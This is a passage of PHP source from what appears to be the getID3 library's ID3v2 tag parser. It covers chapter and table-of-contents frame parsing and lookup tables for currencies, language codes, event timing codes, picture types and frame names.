$this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format'); } break; default: $this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)'); break; } } unset($subframe_rawdata, $subframe, $encoding_converted_text); unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC } $id3v2_chapter_entry = array(); foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) { if (isset($parsedFrame[$id3v2_chapter_key])) { $id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key]; } } if (!isset($info['id3v2']['chapters'])) { $info['id3v2']['chapters'] = array(); } $info['id3v2']['chapters'][] = $id3v2_chapter_entry; unset($id3v2_chapter_entry, $id3v2_chapter_key); } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only) // http://id3.org/id3v2-chapters-1.0 // (10 bytes) // Element ID $00 // CTOC flags %xx // Entry count $xx // Child Element ID $00 /* zero or more child CHAP or CTOC entries */ // $frame_offset = 0; @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); $frame_offset += strlen($parsedFrame['element_id']."\x00"); $ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1)); $frame_offset += 1; $parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1)); $frame_offset += 1; $terminator_position = null; for ($i = 0; $i < $parsedFrame['entry_count']; $i++) { $terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset); $parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset); $frame_offset = $terminator_position + 1; } $parsedFrame['ctoc_flags']['ordered'] = (bool) ($ctoc_flags_raw & 0x01); $parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03); unset($ctoc_flags_raw, $terminator_position); if ($frame_offset < strlen($parsedFrame['data'])) { $parsedFrame['subframes'] = array(); while ($frame_offset < strlen($parsedFrame['data'])) { // $subframe = array(); $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); $frame_offset += 4; $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); $frame_offset += 4; $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); $frame_offset += 2; if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { $this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); break; } $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); $frame_offset += $subframe['size']; $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); $subframe['text'] = substr($subframe_rawdata, 1); $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));; switch (substr($encoding_converted_text, 0, 2)) { case "\xFF\xFE": case "\xFE\xFF": switch (strtoupper($info['id3v2']['encoding'])) { case 'ISO-8859-1': case 'UTF-8': $encoding_converted_text = substr($encoding_converted_text, 2); // remove unwanted byte-order-marks break; default: // ignore break; } break; default: // do not remove BOM break; } if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) { if ($subframe['name'] == 'TIT2') { $parsedFrame['toc_name'] = $encoding_converted_text; } elseif ($subframe['name'] == 'TIT3') { $parsedFrame['toc_description'] = $encoding_converted_text; } $parsedFrame['subframes'][] = $subframe; } else { $this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)'); } } unset($subframe_rawdata, $subframe, $encoding_converted_text); } } return true; } /** * @param string $data * * @return string */ public function DeUnsynchronise($data) { return str_replace("\xFF\x00", "\xFF", $data); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) { static $LookupExtendedHeaderRestrictionsTagSizeLimits = array( 0x00 => 'No more than 128 frames and 1 MB total tag size', 0x01 => 'No more than 64 frames and 128 KB total tag size', 0x02 => 'No more than 32 frames and 40 KB total tag size', 0x03 => 'No more than 32 frames and 4 KB total tag size', ); return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTextEncodings($index) { static $LookupExtendedHeaderRestrictionsTextEncodings = array( 0x00 => 'No restrictions', 0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8', ); return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsTextFieldSize($index) { static $LookupExtendedHeaderRestrictionsTextFieldSize = array( 0x00 => 'No restrictions', 0x01 => 'No string is longer than 1024 characters', 0x02 => 'No string is longer than 128 characters', 0x03 => 'No string is longer than 30 characters', ); return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsImageEncoding($index) { static $LookupExtendedHeaderRestrictionsImageEncoding = array( 0x00 => 'No restrictions', 0x01 => 'Images are encoded only with PNG or JPEG', ); return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : ''); } /** * @param int $index * * @return string */ public function LookupExtendedHeaderRestrictionsImageSizeSize($index) { static $LookupExtendedHeaderRestrictionsImageSizeSize = array( 0x00 => 'No restrictions', 0x01 => 'All images are 256x256 pixels or smaller', 0x02 => 'All images are 64x64 pixels or smaller', 0x03 => 'All images are exactly 64x64 pixels, unless required otherwise', ); return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : ''); } /** * @param string $currencyid * * @return string */ public function LookupCurrencyUnits($currencyid) { $begin = __LINE__; /** This is not a comment! AED Dirhams AFA Afghanis ALL Leke AMD Drams ANG Guilders AOA Kwanza ARS Pesos ATS Schillings AUD Dollars AWG Guilders AZM Manats BAM Convertible Marka BBD Dollars BDT Taka BEF Francs BGL Leva BHD Dinars BIF Francs BMD Dollars BND Dollars BOB Bolivianos BRL Brazil Real BSD Dollars BTN Ngultrum BWP Pulas BYR Rubles BZD Dollars CAD Dollars CDF Congolese Francs CHF Francs CLP Pesos CNY Yuan Renminbi COP Pesos CRC Colones CUP Pesos CVE Escudos CYP Pounds CZK Koruny DEM Deutsche Marks DJF Francs DKK Kroner DOP Pesos DZD Algeria Dinars EEK Krooni EGP Pounds ERN Nakfa ESP Pesetas ETB Birr EUR Euro FIM Markkaa FJD Dollars FKP Pounds FRF Francs GBP Pounds GEL Lari GGP Pounds GHC Cedis GIP Pounds GMD Dalasi GNF Francs GRD Drachmae GTQ Quetzales GYD Dollars HKD Dollars HNL Lempiras HRK Kuna HTG Gourdes HUF Forints IDR Rupiahs IEP Pounds ILS New Shekels IMP Pounds INR Rupees IQD Dinars IRR Rials ISK Kronur ITL Lire JEP Pounds JMD Dollars JOD Dinars JPY Yen KES Shillings KGS Soms KHR Riels KMF Francs KPW Won KWD Dinars KYD Dollars KZT Tenge LAK Kips LBP Pounds LKR Rupees LRD Dollars LSL Maloti LTL Litai LUF Francs LVL Lati LYD Dinars MAD Dirhams MDL Lei MGF Malagasy Francs MKD Denars MMK Kyats MNT Tugriks MOP Patacas MRO Ouguiyas MTL Liri MUR Rupees MVR Rufiyaa MWK Kwachas MXN Pesos MYR Ringgits MZM Meticais NAD Dollars NGN Nairas NIO Gold Cordobas NLG Guilders NOK Krone NPR Nepal Rupees NZD Dollars OMR Rials PAB Balboa PEN Nuevos Soles PGK Kina PHP Pesos PKR Rupees PLN Zlotych PTE Escudos PYG Guarani QAR Rials ROL Lei RUR Rubles RWF Rwanda Francs SAR Riyals SBD Dollars SCR Rupees SDD Dinars SEK Kronor SGD Dollars SHP Pounds SIT Tolars SKK Koruny SLL Leones SOS Shillings SPL Luigini SRG Guilders STD Dobras SVC Colones SYP Pounds SZL Emalangeni THB Baht TJR Rubles TMM Manats TND Dinars TOP Pa'anga TRL Liras TTD Dollars TVD Tuvalu Dollars TWD New Dollars TZS Shillings UAH Hryvnia UGX Shillings USD Dollars UYU Pesos UZS Sums VAL Lire VEB Bolivares VND Dong VUV Vatu WST Tala XAF Francs XAG Ounces XAU Ounces XCD Dollars XDR Special Drawing Rights XPD Ounces XPF Francs XPT Ounces YER Rials YUM New Dinars ZAR Rand ZMK Kwacha ZWD Zimbabwe Dollars */ return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-units'); } /** * @param string $currencyid * * @return string */ public function LookupCurrencyCountry($currencyid) { $begin = __LINE__; /** This is not a comment! AED United Arab Emirates AFA Afghanistan ALL Albania AMD Armenia ANG Netherlands Antilles AOA Angola ARS Argentina ATS Austria AUD Australia AWG Aruba AZM Azerbaijan BAM Bosnia and Herzegovina BBD Barbados BDT Bangladesh BEF Belgium BGL Bulgaria BHD Bahrain BIF Burundi BMD Bermuda BND Brunei Darussalam BOB Bolivia BRL Brazil BSD Bahamas BTN Bhutan BWP Botswana BYR Belarus BZD Belize CAD Canada CDF Congo/Kinshasa CHF Switzerland CLP Chile CNY China COP Colombia CRC Costa Rica CUP Cuba CVE Cape Verde CYP Cyprus CZK Czech Republic DEM Germany DJF Djibouti DKK Denmark DOP Dominican Republic DZD Algeria EEK Estonia EGP Egypt ERN Eritrea ESP Spain ETB Ethiopia EUR Euro Member Countries FIM Finland FJD Fiji FKP Falkland Islands (Malvinas) FRF France GBP United Kingdom GEL Georgia GGP Guernsey GHC Ghana GIP Gibraltar GMD Gambia GNF Guinea GRD Greece GTQ Guatemala GYD Guyana HKD Hong Kong HNL Honduras HRK Croatia HTG Haiti HUF Hungary IDR Indonesia IEP Ireland (Eire) ILS Israel IMP Isle of Man INR India IQD Iraq IRR Iran ISK Iceland ITL Italy JEP Jersey JMD Jamaica JOD Jordan JPY Japan KES Kenya KGS Kyrgyzstan KHR Cambodia KMF Comoros KPW Korea KWD Kuwait KYD Cayman Islands KZT Kazakstan LAK Laos LBP Lebanon LKR Sri Lanka LRD Liberia LSL Lesotho LTL Lithuania LUF Luxembourg LVL Latvia LYD Libya MAD Morocco MDL Moldova MGF Madagascar MKD Macedonia MMK Myanmar (Burma) MNT Mongolia MOP Macau MRO Mauritania MTL Malta MUR Mauritius MVR Maldives (Maldive Islands) MWK Malawi MXN Mexico MYR Malaysia MZM Mozambique NAD Namibia NGN Nigeria NIO Nicaragua NLG Netherlands (Holland) NOK Norway NPR Nepal NZD New Zealand OMR Oman PAB Panama PEN Peru PGK Papua New Guinea PHP Philippines PKR Pakistan PLN Poland PTE Portugal PYG Paraguay QAR Qatar ROL Romania RUR Russia RWF Rwanda SAR Saudi Arabia SBD Solomon Islands SCR Seychelles SDD Sudan SEK Sweden SGD Singapore SHP Saint Helena SIT Slovenia SKK Slovakia SLL Sierra Leone SOS Somalia SPL Seborga SRG Suriname STD São Tome and Principe SVC El Salvador SYP Syria SZL Swaziland THB Thailand TJR Tajikistan TMM Turkmenistan TND Tunisia TOP Tonga TRL Turkey TTD Trinidad and Tobago TVD Tuvalu TWD Taiwan TZS Tanzania UAH Ukraine UGX Uganda USD United States of America UYU Uruguay UZS Uzbekistan VAL Vatican City VEB Venezuela VND Viet Nam VUV Vanuatu WST Samoa XAF Communauté Financière Africaine XAG Silver XAU Gold XCD East Caribbean XDR International Monetary Fund XPD Palladium XPF Comptoirs Français du Pacifique XPT Platinum YER Yemen YUM Yugoslavia ZAR South Africa ZMK Zambia ZWD Zimbabwe */ return getid3_lib::EmbeddedLookup($currencyid, $begin, __LINE__, __FILE__, 'id3v2-currency-country'); } /** * @param string $languagecode * @param bool $casesensitive * * @return string */ public static function LanguageLookup($languagecode, $casesensitive=false) { if (!$casesensitive) { $languagecode = strtolower($languagecode); } // http://www.id3.org/id3v2.4.0-structure.txt // [4. ID3v2 frame overview] // The three byte language field, present in several frames, is used to // describe the language of the frame's content, according to ISO-639-2 // [ISO-639-2]. The language should be represented in lower case. If the // language is not known the string "XXX" should be used. // ISO 639-2 - http://www.id3.org/iso639-2.html $begin = __LINE__; /** This is not a comment! XXX unknown xxx unknown aar Afar abk Abkhazian ace Achinese ach Acoli ada Adangme afa Afro-Asiatic (Other) afh Afrihili afr Afrikaans aka Akan akk Akkadian alb Albanian ale Aleut alg Algonquian Languages amh Amharic ang English, Old (ca. 450-1100) apa Apache Languages ara Arabic arc Aramaic arm Armenian arn Araucanian arp Arapaho art Artificial (Other) arw Arawak asm Assamese ath Athapascan Languages ava Avaric ave Avestan awa Awadhi aym Aymara aze Azerbaijani bad Banda bai Bamileke Languages bak Bashkir bal Baluchi bam Bambara ban Balinese baq Basque bas Basa bat Baltic (Other) bej Beja bel Byelorussian bem Bemba ben Bengali ber Berber (Other) bho Bhojpuri bih Bihari bik Bikol bin Bini bis Bislama bla Siksika bnt Bantu (Other) bod Tibetan bra Braj bre Breton bua Buriat bug Buginese bul Bulgarian bur Burmese cad Caddo cai Central American Indian (Other) car Carib cat Catalan cau Caucasian (Other) ceb Cebuano cel Celtic (Other) ces Czech cha Chamorro chb Chibcha che Chechen chg Chagatai chi Chinese chm Mari chn Chinook jargon cho Choctaw chr Cherokee chu Church Slavic chv Chuvash chy Cheyenne cop Coptic cor Cornish cos Corsican cpe Creoles and Pidgins, English-based (Other) cpf Creoles and Pidgins, French-based (Other) cpp Creoles and Pidgins, Portuguese-based (Other) cre Cree crp Creoles and Pidgins (Other) cus Cushitic (Other) cym Welsh cze Czech dak Dakota dan Danish del Delaware deu German din Dinka div Divehi doi Dogri dra Dravidian (Other) dua Duala dum Dutch, Middle (ca. 1050-1350) dut Dutch dyu Dyula dzo Dzongkha efi Efik egy Egyptian (Ancient) eka Ekajuk ell Greek, Modern (1453-) elx Elamite eng English enm English, Middle (ca. 1100-1500) epo Esperanto esk Eskimo (Other) esl Spanish est Estonian eus Basque ewe Ewe ewo Ewondo fan Fang fao Faroese fas Persian fat Fanti fij Fijian fin Finnish fiu Finno-Ugrian (Other) fon Fon fra French fre French frm French, Middle (ca. 1400-1600) fro French, Old (842- ca. 1400) fry Frisian ful Fulah gaa Ga gae Gaelic (Scots) gai Irish gay Gayo gdh Gaelic (Scots) gem Germanic (Other) geo Georgian ger German gez Geez gil Gilbertese glg Gallegan gmh German, Middle High (ca. 1050-1500) goh German, Old High (ca. 750-1050) gon Gondi got Gothic grb Grebo grc Greek, Ancient (to 1453) gre Greek, Modern (1453-) grn Guarani guj Gujarati hai Haida hau Hausa haw Hawaiian heb Hebrew her Herero hil Hiligaynon him Himachali hin Hindi hmo Hiri Motu hun Hungarian hup Hupa hye Armenian iba Iban ibo Igbo ice Icelandic ijo Ijo iku Inuktitut ilo Iloko ina Interlingua (International Auxiliary language Association) inc Indic (Other) ind Indonesian ine Indo-European (Other) ine Interlingue ipk Inupiak ira Iranian (Other) iri Irish iro Iroquoian uages isl Icelandic ita Italian jav Javanese jaw Javanese jpn Japanese jpr Judeo-Persian jrb Judeo-Arabic kaa Kara-Kalpak kab Kabyle kac Kachin kal Greenlandic kam Kamba kan Kannada kar Karen kas Kashmiri kat Georgian kau Kanuri kaw Kawi kaz Kazakh kha Khasi khi Khoisan (Other) khm Khmer kho Khotanese kik Kikuyu kin Kinyarwanda kir Kirghiz kok Konkani kom Komi kon Kongo kor Korean kpe Kpelle kro Kru kru Kurukh kua Kuanyama kum Kumyk kur Kurdish kus Kusaie kut Kutenai lad Ladino lah Lahnda lam Lamba lao Lao lat Latin lav Latvian lez Lezghian lin Lingala lit Lithuanian lol Mongo loz Lozi ltz Letzeburgesch lub Luba-Katanga lug Ganda lui Luiseno lun Lunda luo Luo (Kenya and Tanzania) mac Macedonian mad Madurese mag Magahi mah Marshall mai Maithili mak Macedonian mak Makasar mal Malayalam man Mandingo mao Maori map Austronesian (Other) mar Marathi mas Masai max Manx may Malay men Mende mga Irish, Middle (900 - 1200) mic Micmac min Minangkabau mis Miscellaneous (Other) mkh Mon-Kmer (Other) mlg Malagasy mlt Maltese mni Manipuri mno Manobo Languages moh Mohawk mol Moldavian mon Mongolian mos Mossi mri Maori msa Malay mul Multiple Languages mun Munda Languages mus Creek mwr Marwari mya Burmese myn Mayan Languages nah Aztec nai North American Indian (Other) nau Nauru nav Navajo nbl Ndebele, South nde Ndebele, North ndo Ndongo nep Nepali new Newari nic Niger-Kordofanian (Other) niu Niuean nla Dutch nno Norwegian (Nynorsk) non Norse, Old nor Norwegian nso Sotho, Northern nub Nubian Languages nya Nyanja nym Nyamwezi nyn Nyankole nyo Nyoro nzi Nzima oci Langue d'Oc (post 1500) oji Ojibwa ori Oriya orm Oromo osa Osage oss Ossetic ota Turkish, Ottoman (1500 - 1928) oto Otomian Languages paa Papuan-Australian (Other) pag Pangasinan pal Pahlavi pam Pampanga pan Panjabi pap Papiamento pau Palauan peo Persian, Old (ca 600 - 400 B.C.) per Persian phn Phoenician pli Pali pol Polish pon Ponape por Portuguese pra Prakrit uages pro Provencal, Old (to 1500) pus Pushto que Quechua raj Rajasthani rar Rarotongan roa Romance (Other) roh Rhaeto-Romance rom Romany ron Romanian rum Romanian run Rundi rus Russian sad Sandawe sag Sango sah Yakut sai South American Indian (Other) sal Salishan Languages sam Samaritan Aramaic san Sanskrit sco Scots scr Serbo-Croatian sel Selkup sem Semitic (Other) sga Irish, Old (to 900) shn Shan sid Sidamo sin Singhalese sio Siouan Languages sit Sino-Tibetan (Other) sla Slavic (Other) slk Slovak slo Slovak slv Slovenian smi Sami Languages smo Samoan sna Shona snd Sindhi sog Sogdian som Somali son Songhai sot Sotho, Southern spa Spanish sqi Albanian srd Sardinian srr Serer ssa Nilo-Saharan (Other) ssw Siswant ssw Swazi suk Sukuma sun Sudanese sus Susu sux Sumerian sve Swedish swa Swahili swe Swedish syr Syriac tah Tahitian tam Tamil tat Tatar tel Telugu tem Timne ter Tereno tgk Tajik tgl Tagalog tha Thai tib Tibetan tig Tigre tir Tigrinya tiv Tivi tli Tlingit tmh Tamashek tog Tonga (Nyasa) ton Tonga (Tonga Islands) tru Truk tsi Tsimshian tsn Tswana tso Tsonga tuk Turkmen tum Tumbuka tur Turkish tut Altaic (Other) twi Twi tyv Tuvinian uga Ugaritic uig Uighur ukr Ukrainian umb Umbundu und Undetermined urd Urdu uzb Uzbek vai Vai ven Venda vie Vietnamese vol Volapük vot Votic wak Wakashan Languages wal Walamo war Waray was Washo wel Welsh wen Sorbian Languages wol Wolof xho Xhosa yao Yao yap Yap yid Yiddish yor Yoruba zap Zapotec zen Zenaga zha Zhuang zho Chinese zul Zulu zun Zuni */ return getid3_lib::EmbeddedLookup($languagecode, $begin, __LINE__, __FILE__, 'id3v2-languagecode'); } /** * @param int $index * * @return string */ public static function ETCOEventLookup($index) { if (($index >= 0x17) && ($index <= 0xDF)) { return 'reserved for future use'; } if (($index >= 0xE0) && ($index <= 0xEF)) { return 'not predefined synch 0-F'; } if (($index >= 0xF0) && ($index <= 0xFC)) { return 'reserved for future use'; } static $EventLookup = array( 0x00 => 'padding (has no meaning)', 0x01 => 'end of initial silence', 0x02 => 'intro start', 0x03 => 'main part start', 0x04 => 'outro start', 0x05 => 'outro end', 0x06 => 'verse start', 0x07 => 'refrain start', 0x08 => 'interlude start', 0x09 => 'theme start', 0x0A => 'variation start', 0x0B => 'key change', 0x0C => 'time change', 0x0D => 'momentary unwanted noise (Snap, Crackle & Pop)', 0x0E => 'sustained noise', 0x0F => 'sustained noise end', 0x10 => 'intro end', 0x11 => 'main part end', 0x12 => 'verse end', 0x13 => 'refrain end', 0x14 => 'theme end', 0x15 => 'profanity', 0x16 => 'profanity end', 0xFD => 'audio end (start of silence)', 0xFE => 'audio file ends', 0xFF => 'one more byte of events follows' ); return (isset($EventLookup[$index]) ? $EventLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function SYTLContentTypeLookup($index) { static $SYTLContentTypeLookup = array( 0x00 => 'other', 0x01 => 'lyrics', 0x02 => 'text transcription', 0x03 => 'movement/part name', // (e.g. 'Adagio') 0x04 => 'events', // (e.g. 'Don Quijote enters the stage') 0x05 => 'chord', // (e.g. 'Bb F Fsus') 0x06 => 'trivia/\'pop up\' information', 0x07 => 'URLs to webpages', 0x08 => 'URLs to images' ); return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : ''); } /** * @param int $index * @param bool $returnarray * * @return array|string */ public static function APICPictureTypeLookup($index, $returnarray=false) { static $APICPictureTypeLookup = array( 0x00 => 'Other', 0x01 => '32x32 pixels \'file icon\' (PNG only)', 0x02 => 'Other file icon', 0x03 => 'Cover (front)', 0x04 => 'Cover (back)', 0x05 => 'Leaflet page', 0x06 => 'Media (e.g. label side of CD)', 0x07 => 'Lead artist/lead performer/soloist', 0x08 => 'Artist/performer', 0x09 => 'Conductor', 0x0A => 'Band/Orchestra', 0x0B => 'Composer', 0x0C => 'Lyricist/text writer', 0x0D => 'Recording Location', 0x0E => 'During recording', 0x0F => 'During performance', 0x10 => 'Movie/video screen capture', 0x11 => 'A bright coloured fish', 0x12 => 'Illustration', 0x13 => 'Band/artist logotype', 0x14 => 'Publisher/Studio logotype' ); if ($returnarray) { return $APICPictureTypeLookup; } return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function COMRReceivedAsLookup($index) { static $COMRReceivedAsLookup = array( 0x00 => 'Other', 0x01 => 'Standard CD album with other songs', 0x02 => 'Compressed audio on CD', 0x03 => 'File over the Internet', 0x04 => 'Stream over the Internet', 0x05 => 'As note sheets', 0x06 => 'As note sheets in a book with other sheets', 0x07 => 'Music on other media', 0x08 => 'Non-musical merchandise' ); return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : ''); } /** * @param int $index * * @return string */ public static function RVA2ChannelTypeLookup($index) { static $RVA2ChannelTypeLookup = array( 0x00 => 'Other', 0x01 => 'Master volume', 0x02 => 'Front right', 0x03 => 'Front left', 0x04 => 'Back right', 0x05 => 'Back left', 0x06 => 'Front centre', 0x07 => 'Back centre', 0x08 => 'Subwoofer' ); return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : ''); } /** * @param string $framename * * @return string */ public static function FrameNameLongLookup($framename) { $begin = __LINE__; /** This is not a comment! AENC Audio encryption APIC Attached picture ASPI Audio seek point index BUF Recommended buffer size CNT Play counter COM Comments COMM Comments COMR Commercial frame CRA Audio encryption CRM Encrypted meta frame ENCR Encryption method registration EQU Equalisation EQU2 Equalisation (2) EQUA Equalisation ETC Event timing codes ETCO Event timing codes GEO General encapsulated object GEOB General encapsulated object GRID Group identification registration IPL Involved people list IPLS Involved people list LINK Linked information LNK Linked information MCDI Music CD identifier MCI Music CD Identifier MLL MPEG location lookup table MLLT MPEG location lookup table OWNE Ownership frame PCNT Play counter PIC Attached picture POP Popularimeter POPM Popularimeter POSS Position synchronisation frame PRIV Private frame RBUF Recommended buffer size REV Reverb RVA Relative volume adjustment RVA2 Relative volume adjustment (2) RVAD Relative volume adjustment RVRB Reverb SEEK Seek frame SIGN Signature frame SLT Synchronised lyric/text STC Synced tempo codes SYLT Synchronised lyric/text SYTC Synchronised tempo codes TAL Album/Movie/Show title TALB Album/Movie/Show title TBP BPM (Beats Per Minute) TBPM BPM (beats per minute) TCM Composer TCMP Part of a compilation TCO Content type TCOM Composer TCON Content type TCOP Copyright message TCP Part of a compilation TCR Copyright message TDA Date TDAT Date TDEN Encoding time TDLY Playlist delay TDOR Original release time TDRC Recording time TDRL Release time TDTG Tagging time TDY Playlist delay TEN Encoded by TENC Encoded by TEXT Lyricist/Text writer TFLT File type TFT File type TIM Time TIME Time TIPL Involved people list TIT1 Content group description TIT2 Title/songname/content description TIT3 Subtitle/Description refinement TKE Initial key TKEY Initial key TLA Language(s) TLAN Language(s) TLE Length TLEN Length TMCL Musician credits list TMED Media type TMOO Mood TMT Media type TOA Original artist(s)/performer(s) TOAL Original album/movie/show title TOF Original filename TOFN Original filename TOL Original Lyricist(s)/text writer(s) TOLY Original lyricist(s)/text writer(s) TOPE Original artist(s)/performer(s) TOR Original release year TORY Original release year TOT Original album/Movie/Show title TOWN File owner/licensee TP1 Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group TP2 Band/Orchestra/Accompaniment TP3 Conductor/Performer refinement TP4 Interpreted, remixed, or otherwise modified by TPA Part of a set TPB Publisher TPE1 Lead performer(s)/Soloist(s) TPE2 Band/orchestra/accompaniment TPE3 Conductor/performer refinement TPE4 Interpreted, remixed, or otherwise modified by TPOS Part of a set TPRO Produced notice TPUB Publisher TRC ISRC (International Standard Recording Code) TRCK Track number/Position in set TRD Recording dates TRDA Recording dates TRK Track number/Position in set TRSN Internet radio station name TRSO Internet radio station owner TS2 Album-Artist sort order TSA Album sort order TSC Composer sort order TSI Size TSIZ Size TSO2 Album-Artist sort order TSOA Album sort order TSOC Composer sort order TSOP Performer sort order TSOT Title sort order TSP Performer sort order TSRC ISRC (international standard recording code) TSS Software/hardware and settings used for encoding TSSE Software/Hardware and settings used for encoding TSST Set subtitle TST Title sort order TT1 Content group description TT2 Title/Songname/Content description TT3 Subtitle/Description refinement TXT Lyricist/text writer TXX User defined text information frame TXXX User defined text information frame TYE Year TYER Year UFI Unique file identifier UFID Unique file identifier ULT Unsynchronised lyric/text transcription USER Terms of use USLT Unsynchronised lyric/text transcription WAF Official audio file webpage WAR Official artist/performer webpage WAS Official audio source webpage WCM Commercial information WCOM Commercial information WCOP Copyright/Legal information WCP Copyright/Legal information WOAF Official audio file webpage WOAR Official artist/performer webpage WOAS Official audio source webpage WORS Official Internet radio station homepage WPAY Payment WPB Publishers official webpage WPUB Publishers official webpage WXX User defined URL link frame WXXX User defined URL link frame TFEA Featured Artist TSTU Recording Studio rgad Replay Gain Adjustment */ return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long'); // Last three: // from Helium2 [www.helium2.com] // from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html } /** * @param string $framename * * @return string */ public static function FrameNameShortLookup($framename) { $begin = __LINE__; /** This is not a comment! AENC audio_encryption APIC attached_picture ASPI audio_seek_point_index BUF recommended_buffer_size CNT play_counter COM comment COMM comment COMR commercial_frame CRA audio_encryption CRM encrypted_meta_frame ENCR encryption_method_registration EQU equalisation EQU2 equalisation EQUA equalisation ETC event_timing_codes ETCO event_timing_codes GEO general_encapsulated_object GEOB general_encapsulated_object GRID group_identification_registration IPL involved_people_list IPLS involved_people_list LINK linked_information LNK linked_information MCDI music_cd_identifier MCI music_cd_identifier MLL mpeg_location_lookup_table MLLT mpeg_location_lookup_table OWNE ownership_frame PCNT play_counter PIC attached_picture POP popularimeter POPM popularimeter POSS position_synchronisation_frame PRIV private_frame RBUF recommended_buffer_size REV reverb RVA relative_volume_adjustment RVA2 relative_volume_adjustment RVAD relative_volume_adjustment RVRB reverb SEEK seek_frame SIGN signature_frame SLT synchronised_lyric STC synced_tempo_codes SYLT synchronised_lyric SYTC synchronised_tempo_codes TAL album TALB album TBP bpm TBPM bpm TCM composer TCMP part_of_a_compilation TCO genre TCOM composer TCON genre TCOP copyright_message TCP part_of_a_compilation TCR copyright_message TDA date TDAT date TDEN encoding_time TDLY playlist_delay TDOR original_release_time TDRC recording_time TDRL release_time TDTG tagging_time TDY playlist_delay TEN encoded_by TENC encoded_by TEXT lyricist TFLT file_type TFT file_type TIM time TIME time TIPL involved_people_list TIT1 content_group_description TIT2 title TIT3 subtitle TKE initial_key TKEY initial_key TLA language TLAN language TLE length TLEN length TMCL musician_credits_list TMED media_type TMOO mood TMT media_type TOA original_artist TOAL original_album TOF original_filename TOFN original_filename TOL original_lyricist TOLY original_lyricist TOPE original_artist TOR original_year TORY original_year TOT original_album TOWN file_owner TP1 artist TP2 band TP3 conductor TP4 remixer TPA part_of_a_set TPB publisher TPE1 artist TPE2 band TPE3 conductor TPE4 remixer TPOS part_of_a_set TPRO produced_notice TPUB publisher TRC isrc TRCK track_number TRD recording_dates TRDA recording_dates TRK track_number TRSN internet_radio_station_name TRSO internet_radio_station_owner TS2 album_artist_sort_order TSA album_sort_order TSC composer_sort_order TSI size TSIZ size TSO2 album_artist_sort_order TSOA album_sort_order TSOC composer_sort_order TSOP performer_sort_order TSOT title_sort_order TSP performer_sort_order TSRC isrc TSS encoder_settings TSSE encoder_settings TSST set_subtitle TST title_sort_order TT1 content_group_description TT2 title TT3 subtitle TXT lyricist TXX text TXXX text TYE year TYER year UFI unique_file_identifier UFID unique_file_identifier ULT unsynchronised_lyric USER terms_of_use USLT unsynchronised_lyric WAF url_file WAR url_artist WAS url_source WCM commercial_information WCOM commercial_information WCOP copyright WCP copyright WOAF url_file WOAR url_artist WOAS url_source WORS url_station WPAY url_payment WPB url_publisher WPUB url_publisher WXX url_user WXXX url_user TFEA featured_artist TSTU recording_studio rgad replay_gain_adjustment */ return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short'); } /** * @param string $encoding * * @return string */ public static function 